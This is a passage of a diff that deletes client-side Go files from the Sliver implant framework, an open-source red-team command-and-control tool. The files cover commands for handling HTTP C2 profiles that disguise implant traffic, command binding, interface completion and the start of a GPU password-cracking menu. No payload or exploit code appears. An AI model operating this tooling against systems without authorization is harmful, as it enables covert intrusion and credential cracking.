-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"io"
-	"os"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-	"golang.org/x/exp/slices"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// C2ProfileCmd list available http profiles
-func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	profileName, _ := cmd.Flags().GetString("name")
-
-	if profileName == constants.DefaultC2Profile {
-		httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
-			return
-		}
-		if len(httpC2Profiles.Configs) != 1 {
-			profileName = selectC2Profile(httpC2Profiles.Configs)
-		}
-	}
-
-	profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintC2Profiles(profile, con)
-}
-
-func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	protocols := []string{constants.HttpStr, constants.HttpsStr}
-	profileName, _ := cmd.Flags().GetString("name")
-	if profileName == "" {
-		con.PrintErrorf("Invalid c2 profile name\n")
-		return
-	}
-
-	filepath, _ := cmd.Flags().GetString("file")
-	if filepath == "" {
-		con.PrintErrorf("Missing file path\n")
-		return
-	}
-
-	overwrite, _ := cmd.Flags().GetBool("overwrite")
-
-	// retrieve and unmarshal profile config
-	jsonFile, err := os.Open(filepath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	byteFile, _ := io.ReadAll(jsonFile)
-	var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
-	err = json.Unmarshal(byteFile, config)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
-
-	_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
-	survey.AskOne(prompt, &confirm)
-	if confirm {
-		var restartJobReq clientpb.RestartJobReq
-		jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		// reload jobs to include new profile
-		for _, job := range jobs.Active {
-			if job != nil && slices.Contains(protocols, job.Name) {
-				restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
-			}
-		}
-
-		_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-}
-
-func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-
-	filepath, _ := cmd.Flags().GetString("file")
-	if filepath == "" {
-		con.PrintErrorf("Missing file path\n")
-		return
-	}
-
-	profileName, _ := cmd.Flags().GetString("name")
-	if profileName == "" {
-		con.PrintErrorf("Invalid c2 profile name\n")
-		return
-	}
-
-	if profileName == constants.DefaultC2Profile {
-		httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
-			return
-		}
-		if len(httpC2Profiles.Configs) != 1 {
-			profileName = selectC2Profile(httpC2Profiles.Configs)
-		}
-	}
-
-	profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	jsonProfile, err := C2ConfigToJSON(profileName, profile)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	err = os.WriteFile(filepath, jsonProfile, 0644)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	con.Println(profileName, "C2 profile exported to ", filepath)
-}
-
-// convert protobuf to json
-func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
-	implantConfig := assets.HTTPC2ImplantConfig{
-		UserAgent:           profile.ImplantConfig.UserAgent,
-		ChromeBaseVersion:   int(profile.ImplantConfig.ChromeBaseVersion),
-		MacOSVersion:        profile.ImplantConfig.MacOSVersion,
-		NonceQueryArgChars:  profile.ImplantConfig.NonceQueryArgChars,
-		MaxFiles:            int(profile.ImplantConfig.MaxFiles),
-		MinFiles:            int(profile.ImplantConfig.MinFiles),
-		MaxPaths:            int(profile.ImplantConfig.MaxPaths),
-		MinPaths:            int(profile.ImplantConfig.MinFiles),
-		StagerFileExt:       profile.ImplantConfig.StagerFileExtension,
-		PollFileExt:         profile.ImplantConfig.PollFileExtension,
-		StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
-		SessionFileExt:      profile.ImplantConfig.SessionFileExtension,
-		CloseFileExt:        profile.ImplantConfig.CloseFileExtension,
-	}
-
-	var headers []assets.NameValueProbability
-	for _, header := range profile.ImplantConfig.Headers {
-		headers = append(headers, assets.NameValueProbability{
-			Name:        header.Name,
-			Value:       header.Value,
-			Probability: int(header.Probability),
-		})
-	}
-	implantConfig.Headers = headers
-
-	var urlParameters []assets.NameValueProbability
-	for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
-		urlParameters = append(urlParameters, assets.NameValueProbability{
-			Name:        urlParameter.Name,
-			Value:       urlParameter.Value,
-			Probability: int(urlParameter.Probability),
-		})
-	}
-	implantConfig.URLParameters = urlParameters
-
-	var (
-		stagerFiles  []string
-		pollFiles    []string
-		sessionFiles []string
-		closeFiles   []string
-		stagerPaths  []string
-		pollPaths    []string
-		sessionPaths []string
-		closePaths   []string
-	)
-
-	for _, pathSegment := range profile.ImplantConfig.PathSegments {
-		if pathSegment.IsFile {
-			switch pathSegment.SegmentType {
-			case 0:
-				pollFiles = append(pollFiles, pathSegment.Value)
-			case 1:
-				sessionFiles = append(sessionFiles, pathSegment.Value)
-			case 2:
-				closeFiles = append(closeFiles, pathSegment.Value)
-			case 3:
-				stagerFiles = append(stagerFiles, pathSegment.Value)
-			}
-		} else {
-			switch pathSegment.SegmentType {
-			case 0:
-				pollPaths = append(pollPaths, pathSegment.Value)
-			case 1:
-				sessionPaths = append(sessionPaths, pathSegment.Value)
-			case 2:
-				closePaths = append(closePaths, pathSegment.Value)
-			case 3:
-				stagerPaths = append(stagerPaths, pathSegment.Value)
-			}
-		}
-	}
-
-	implantConfig.PollFiles = pollFiles
-	implantConfig.SessionFiles = sessionFiles
-	implantConfig.CloseFiles = closeFiles
-	implantConfig.StagerFiles = stagerFiles
-	implantConfig.PollPaths = pollPaths
-	implantConfig.SessionPaths = sessionPaths
-	implantConfig.ClosePaths = closePaths
-	implantConfig.StagerPaths = stagerPaths
-
-	var serverHeaders []assets.NameValueProbability
-	for _, header := range profile.ServerConfig.Headers {
-		serverHeaders = append(serverHeaders, assets.NameValueProbability{
-			Name:        header.Name,
-			Value:       header.Value,
-			Probability: int(header.Probability),
-		})
-	}
-
-	var serverCookies []string
-	for _, cookie := range profile.ServerConfig.Cookies {
-		serverCookies = append(serverCookies, cookie.Name)
-	}
-
-	serverConfig := assets.HTTPC2ServerConfig{
-		RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
-		Headers:              serverHeaders,
-		Cookies:              serverCookies,
-	}
-
-	config := assets.HTTPC2Config{
-		ImplantConfig: implantConfig,
-		ServerConfig:  serverConfig,
-	}
-
-	jsonConfig, err := json.Marshal(config)
-	if err != nil {
-		return nil, err
-	}
-
-	return jsonConfig, nil
-}
-
-// convert json to protobuf
-func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
-
-	httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
-	httpC2Headers := []*clientpb.HTTPC2Header{}
-	pathSegments := []*clientpb.HTTPC2PathSegment{}
-
-	// files
-	for _, poll := range config.ImplantConfig.PollFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 0,
-			Value:       poll,
-		})
-	}
-
-	for _, session := range config.ImplantConfig.SessionFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 1,
-			Value:       session,
-		})
-	}
-
-	for _, close := range config.ImplantConfig.CloseFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 2,
-			Value:       close,
-		})
-	}
-
-	for _, stager := range config.ImplantConfig.StagerFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 3,
-			Value:       stager,
-		})
-	}
-
-	// paths
-	for _, poll := range config.ImplantConfig.PollPaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 0,
-			Value:       poll,
-		})
-	}
-
-	for _, session := range config.ImplantConfig.SessionPaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 1,
-			Value:       session,
-		})
-	}
-
-	for _, close := range config.ImplantConfig.ClosePaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 2,
-			Value:       close,
-		})
-	}
-
-	for _, stager := range config.ImplantConfig.StagerPaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 3,
-			Value:       stager,
-		})
-	}
-
-	implantConfig := &clientpb.HTTPC2ImplantConfig{
-		UserAgent:                 config.ImplantConfig.UserAgent,
-		ChromeBaseVersion:         int32(config.ImplantConfig.ChromeBaseVersion),
-		MacOSVersion:              config.ImplantConfig.MacOSVersion,
-		NonceQueryArgChars:        config.ImplantConfig.NonceQueryArgChars,
-		ExtraURLParameters:        httpC2UrlParameters,
-		Headers:                   httpC2Headers,
-		MaxFiles:                  int32(config.ImplantConfig.MaxFiles),
-		MinFiles:                  int32(config.ImplantConfig.MinFiles),
-		MaxPaths:                  int32(config.ImplantConfig.MaxPaths),
-		MinPaths:                  int32(config.ImplantConfig.MinFiles),
-		StagerFileExtension:       config.ImplantConfig.StagerFileExt,
-		PollFileExtension:         config.ImplantConfig.PollFileExt,
-		StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
-		SessionFileExtension:      config.ImplantConfig.SessionFileExt,
-		CloseFileExtension:        config.ImplantConfig.CloseFileExt,
-		PathSegments:              pathSegments,
-	}
-
-	// Server Config
-	serverHeaders := []*clientpb.HTTPC2Header{}
-	for _, serverHeader := range config.ServerConfig.Headers {
-		for _, method := range serverHeader.Methods {
-			serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
-				Method:      method,
-				Name:        serverHeader.Name,
-				Value:       serverHeader.Value,
-				Probability: int32(serverHeader.Probability),
-			})
-		}
-	}
-
-	serverCookies := []*clientpb.HTTPC2Cookie{}
-	for _, cookie := range config.ServerConfig.Cookies {
-		serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
-			Name: cookie,
-		})
-	}
-	serverConfig := &clientpb.HTTPC2ServerConfig{
-		RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
-		Headers:              serverHeaders,
-		Cookies:              serverCookies,
-	}
-
-	return &clientpb.HTTPC2Config{
-		Name:          profileName,
-		ImplantConfig: implantConfig,
-		ServerConfig:  serverConfig,
-	}
-}
-
-// PrintImplantBuilds - Print the implant builds on the server
-func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) {
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Parameter",
-		"Value",
-	})
-
-	// Profile metadata
-
-	tw.AppendRow(table.Row{
-		"Profile Name",
-		profile.Name,
-	})
-
-	// Server side configuration
-
-	var serverHeaders []string
-	for _, header := range profile.ServerConfig.Headers {
-		serverHeaders = append(serverHeaders, header.Value)
-	}
-	tw.AppendRow(table.Row{
-		"Server Headers",
-		strings.Join(serverHeaders[:], ","),
-	})
-
-	var serverCookies []string
-	for _, cookie := range profile.ServerConfig.Cookies {
-		serverCookies = append(serverCookies, cookie.Name)
-	}
-	tw.AppendRow(table.Row{
-		"Server Cookies",
-		strings.Join(serverCookies[:], ","),
-	})
-
-	tw.AppendRow(table.Row{
-		"Randomize Server Headers",
-		profile.ServerConfig.RandomVersionHeaders,
-	})
-
-	// Client side configuration
-
-	var clientHeaders []string
-	for _, header := range profile.ImplantConfig.Headers {
-		clientHeaders = append(clientHeaders, header.Value)
-	}
-	tw.AppendRow(table.Row{
-		"Client Headers",
-		strings.Join(clientHeaders[:], ","),
-	})
-
-	var clientUrlParams []string
-	for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
-		clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
-	}
-	tw.AppendRow(table.Row{
-		"Extra URL Parameters",
-		strings.Join(clientUrlParams[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"User agent",
-		profile.ImplantConfig.UserAgent,
-	})
-	tw.AppendRow(table.Row{
-		"Chrome base version",
-		profile.ImplantConfig.ChromeBaseVersion,
-	})
-	tw.AppendRow(table.Row{
-		"MacOS version",
-		profile.ImplantConfig.MacOSVersion,
-	})
-	tw.AppendRow(table.Row{
-		"Nonce query arg chars",
-		profile.ImplantConfig.NonceQueryArgChars,
-	})
-	tw.AppendRow(table.Row{
-		"Max files",
-		profile.ImplantConfig.MaxFiles,
-	})
-	tw.AppendRow(table.Row{
-		"Min files",
-		profile.ImplantConfig.MinFiles,
-	})
-	tw.AppendRow(table.Row{
-		"Max paths",
-		profile.ImplantConfig.MaxPaths,
-	})
-	tw.AppendRow(table.Row{
-		"Min paths",
-		profile.ImplantConfig.MinPaths,
-	})
-
-	tw.AppendRow(table.Row{
-		"Stager file extension",
-		profile.ImplantConfig.StagerFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Start session file extension",
-		profile.ImplantConfig.StartSessionFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Session file extension",
-		profile.ImplantConfig.SessionFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Poll file extension",
-		profile.ImplantConfig.PollFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Close file extension",
-		profile.ImplantConfig.CloseFileExtension,
-	})
-
-	var (
-		pollPaths    []string
-		pollFiles    []string
-		sessionPaths []string
-		sessionFiles []string
-		closePaths   []string
-		closeFiles   []string
-	)
-	for _, segment := range profile.ImplantConfig.PathSegments {
-		if segment.IsFile {
-			switch segment.SegmentType {
-			case 0:
-				pollFiles = append(pollFiles, segment.Value)
-			case 1:
-				sessionFiles = append(sessionFiles, segment.Value)
-			case 2:
-				closeFiles = append(closeFiles, segment.Value)
-			}
-		} else {
-			switch segment.SegmentType {
-			case 0:
-				pollPaths = append(pollPaths, segment.Value)
-			case 1:
-				sessionPaths = append(sessionPaths, segment.Value)
-			case 2:
-				closePaths = append(closePaths, segment.Value)
-			}
-		}
-	}
-	tw.AppendRow(table.Row{
-		"Poll paths",
-		strings.Join(pollPaths[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Poll files",
-		strings.Join(pollFiles[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Session paths",
-		strings.Join(sessionPaths[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Session files",
-		strings.Join(sessionFiles[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Close paths",
-		strings.Join(closePaths[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Close files",
-		strings.Join(closeFiles[:], ","),
-	})
-
-	con.Println(tw.Render())
-	con.Println("\n")
-}
-
-func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
-	c2profile := ""
-	var choices []string
-	for _, c2profile := range c2profiles {
-		choices = append(choices, c2profile.Name)
-	}
-
-	prompt := &survey.Select{
-		Message: "Select a c2 profile",
-		Options: choices,
-	}
-	survey.AskOne(prompt, &c2profile, nil)
-
-	return c2profile
-}

client/command/c2profiles/commands.go

@@ -1,67 +0,0 @@
-package c2profiles
-
-import (
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/generate"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-
-	importC2ProfileCmd := &cobra.Command{
-		Use:   consts.ImportC2ProfileStr,
-		Short: "Import HTTP C2 profile",
-		Long:  help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			ImportC2ProfileCmd(cmd, con, args)
-		},
-	}
-	flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
-		f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
-		f.StringP("file", "f", "", "Path to C2 configuration file to import")
-		f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
-	})
-
-	exportC2ProfileCmd := &cobra.Command{
-		Use:   consts.ExportC2ProfileStr,
-		Short: "Export HTTP C2 profile",
-		Long:  help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			ExportC2ProfileCmd(cmd, con, args)
-		},
-	}
-	flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
-		f.StringP("file", "f", "", "Path to file to export C2 configuration to")
-		f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
-
-	})
-
-	C2ProfileCmd := &cobra.Command{
-		Use:   consts.C2ProfileStr,
-		Short: "Display C2 profile details",
-		Long:  help.GetHelpFor([]string{consts.C2ProfileStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			C2ProfileCmd(cmd, con, args)
-		},
-		GroupID: consts.NetworkHelpGroup,
-	}
-	flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
-		f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
-	})
-
-	flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
-		(*comp)["name"] = generate.HTTPC2Completer(con)
-	})
-	C2ProfileCmd.AddCommand(importC2ProfileCmd)
-	C2ProfileCmd.AddCommand(exportC2ProfileCmd)
-
-	return []*cobra.Command{
-		C2ProfileCmd,
-	}
-}

client/command/command.go

@@ -1,135 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2023  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"strings"
-
-	client "github.com/bishopfox/sliver/client/console"
-	"github.com/reeflective/console"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// Bind is a convenience function to bind flags to a given command.
-// name - The name of the flag set (can be empty).
-// cmd  - The command to which the flags should be bound.
-// flags - A function exposing the flag set through which flags are declared.
-func Bind(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
-	flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
-	flags(flagSet)                                           // Let the user bind any number of flags to it.
-
-	if persistent {
-		cmd.PersistentFlags().AddFlagSet(flagSet)
-	} else {
-		cmd.Flags().AddFlagSet(flagSet)
-	}
-}
-
-// BindFlagCompletions is a convenience function for adding completions to a command's flags.
-// cmd - The command owning the flags to complete.
-// bind - A function exposing a map["flag-name"]carapace.Action.
-func BindFlagCompletions(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
-	comps := make(carapace.ActionMap)
-	bind(&comps)
-
-	carapace.Gen(cmd).FlagCompletion(comps)
-}
-
-// RestrictTargets generates a cobra annotation map with a single console.CommandHiddenFilter key
-// to a comma-separated list of filters to use in order to expose/hide commands based on requirements.
-// Ex: cmd.Annotations = RestrictTargets("windows") will only show the command if the target is Windows.
-// Ex: cmd.Annotations = RestrictTargets("windows", "beacon") show the command if target is a beacon on Windows.
-func RestrictTargets(filters ...string) map[string]string {
-	if len(filters) == 0 {
-		return nil
-	}
-
-	if len(filters) == 1 {
-		return map[string]string{
-			console.CommandFilterKey: filters[0],
-		}
-	}
-
-	filts := strings.Join(filters, ",")
-
-	return map[string]string{
-		console.CommandFilterKey: filts,
-	}
-}
-
-// makeBind returns a commandBinder helper function
-// @menu  - The command menu to which the commands should be bound (either server or implant menu).
-func makeBind(cmd *cobra.Command, con *client.SliverClient) func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
-	return func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command) {
-		found := false
-
-		// Ensure the given command group is available in the menu.
-		if group != "" {
-			for _, grp := range cmd.Groups() {
-				if grp.Title == group {
-					found = true
-					break
-				}
-			}
-
-			if !found {
-				cmd.AddGroup(&cobra.Group{
-					ID:    group,
-					Title: group,
-				})
-			}
-		}
-
-		// Bind the command to the root
-		for _, command := range cmds {
-			cmd.AddCommand(command(con)...)
-		}
-	}
-}
-
-// commandBinder is a helper used to bind commands to a given menu, for a given "command help group".
-//
-// @group - Name of the group under which the command should be shown. Preferably use a string in the constants package.
-// @ cmds - A list of functions returning a list of root commands to bind. See any package's `commands.go` file and function.
-// type commandBinder func(group string, cmds ...func(con *client.SliverClient) []*cobra.Command)
-
-// [ Core ]
-// [ Sessions ]
-// [ Execution ]
-// [ Filesystem ]
-// [ Info ]
-// [ Network (C2)]
-// [ Network tools ]
-// [ Payloads ]
-// [ Privileges ]
-// [ Processes ]
-// [ Aliases ]
-// [ Extensions ]
-
-// Commands not to bind in CLI:
-// - portforwarders
-// - Socks (and wg-socks ?)
-// - shell ?
-
-// Take care of:
-// - double bind help command
-// - double bind session commands
-// - don't bind readline command in CLI.

client/command/completers/README.md

@@ -1,4 +0,0 @@
-Completers
-===========
-
-This package contains general purpose completers for the console, note that some package also contain their own package-specific completers. 

client/command/completers/completers.go

@@ -1,86 +0,0 @@
-package completers
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"net"
-
-	"github.com/rsteube/carapace"
-)
-
-// ClientInterfacesCompleter completes interface addresses on the client host.
-func ClientInterfacesCompleter() carapace.Action {
-	return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
-		ifaces, err := net.Interfaces()
-		if err != nil {
-			return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
-		}
-
-		results := make([]string, 0)
-
-		for _, i := range ifaces {
-			addrs, err := i.Addrs()
-			if err != nil {
-				continue
-			}
-
-			for _, a := range addrs {
-				switch v := a.(type) {
-				case *net.IPAddr:
-					results = append(results, v.IP.String())
-				case *net.IPNet:
-					results = append(results, v.IP.String())
-				default:
-					results = append(results, v.String())
-				}
-			}
-		}
-
-		return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
-	})
-}
-
-// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address.
-func LocalProxyCompleter() carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		prefix := ""
-
-		hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action {
-			switch len(c.Parts) {
-			case 0:
-				return ClientInterfacesCompleter()
-			case 1:
-				return carapace.ActionMessage("server port")
-			default:
-				return carapace.ActionValues()
-			}
-		})
-
-		return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action {
-			switch len(c.Parts) {
-			case 0:
-				return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://")
-			case 1:
-				return hostPort
-			default:
-				return carapace.ActionValues()
-			}
-		}).Invoke(c).Prefix(prefix).ToA()
-	})
-}

client/command/crack/commands.go

@@ -1,143 +0,0 @@
-package crack
-
-import (
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	crackCmd := &cobra.Command{
-		Use:     consts.CrackStr,
-		Short:   "Crack: GPU password cracking",
-		Long:    help.GetHelpFor([]string{consts.CrackStr}),
-		GroupID: consts.GenericHelpGroup,
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-
-	crackStationsCmd := &cobra.Command{
-		Use:   consts.StationsStr,
-		Short: "Manage crackstations",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackStationsCmd(cmd, con, args)
-		},
-	}
-	crackCmd.AddCommand(crackStationsCmd)
-
-	wordlistsCmd := &cobra.Command{
-		Use:   consts.WordlistsStr,
-		Short: "Manage wordlists",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackWordlistsCmd(cmd, con, args)
-		},
-	}
-	crackCmd.AddCommand(wordlistsCmd)
-
-	wordlistsAddCmd := &cobra.Command{
-		Use:   consts.AddStr,
-		Short: "Add a wordlist",
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackWordlistsAddCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) {
-		f.StringP("name", "n", "", "wordlist name (blank = filename)")
-	})
-	carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
-	wordlistsCmd.AddCommand(wordlistsAddCmd)
-
-	wordlistsRmCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove a wordlist",
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackWordlistsRmCmd(cmd, con, args)
-		},
-	}
-	wordlistsCmd.AddCommand(wordlistsRmCmd)
-	carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove"))
-
-	rulesCmd := &cobra.Command{
-		Use:   consts.RulesStr,
-		Short: "Manage rule files",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackRulesCmd(cmd, con, args)
-		},
-	}
-	crackCmd.AddCommand(rulesCmd)
-
-	rulesAddCmd := &cobra.Command{
-		Use:   consts.AddStr,
-		Short: "Add a rules file",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackRulesAddCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) {
-		f.StringP("name", "n", "", "rules name (blank = filename)")
-	})
-	carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
-	rulesCmd.AddCommand(rulesAddCmd)
-
-	rulesRmCmd := &cobra.Command{
-		Use:   consts.RmStr,
-		Short: "Remove rules",
-		Long:  help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}),
-		Run: func(cmd *cobra.Command, args []string) {
-			CrackRulesRmCmd(cmd, con, args)
-		},
-	}
-	carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove"))
-	rulesCmd.AddCommand(rulesRmCmd)
-
-	hcstat2Cmd := &cobra.Command{
-		Use:   consts.Hcstat2Str,
-		Short: "Manage markov hcstat2 files",
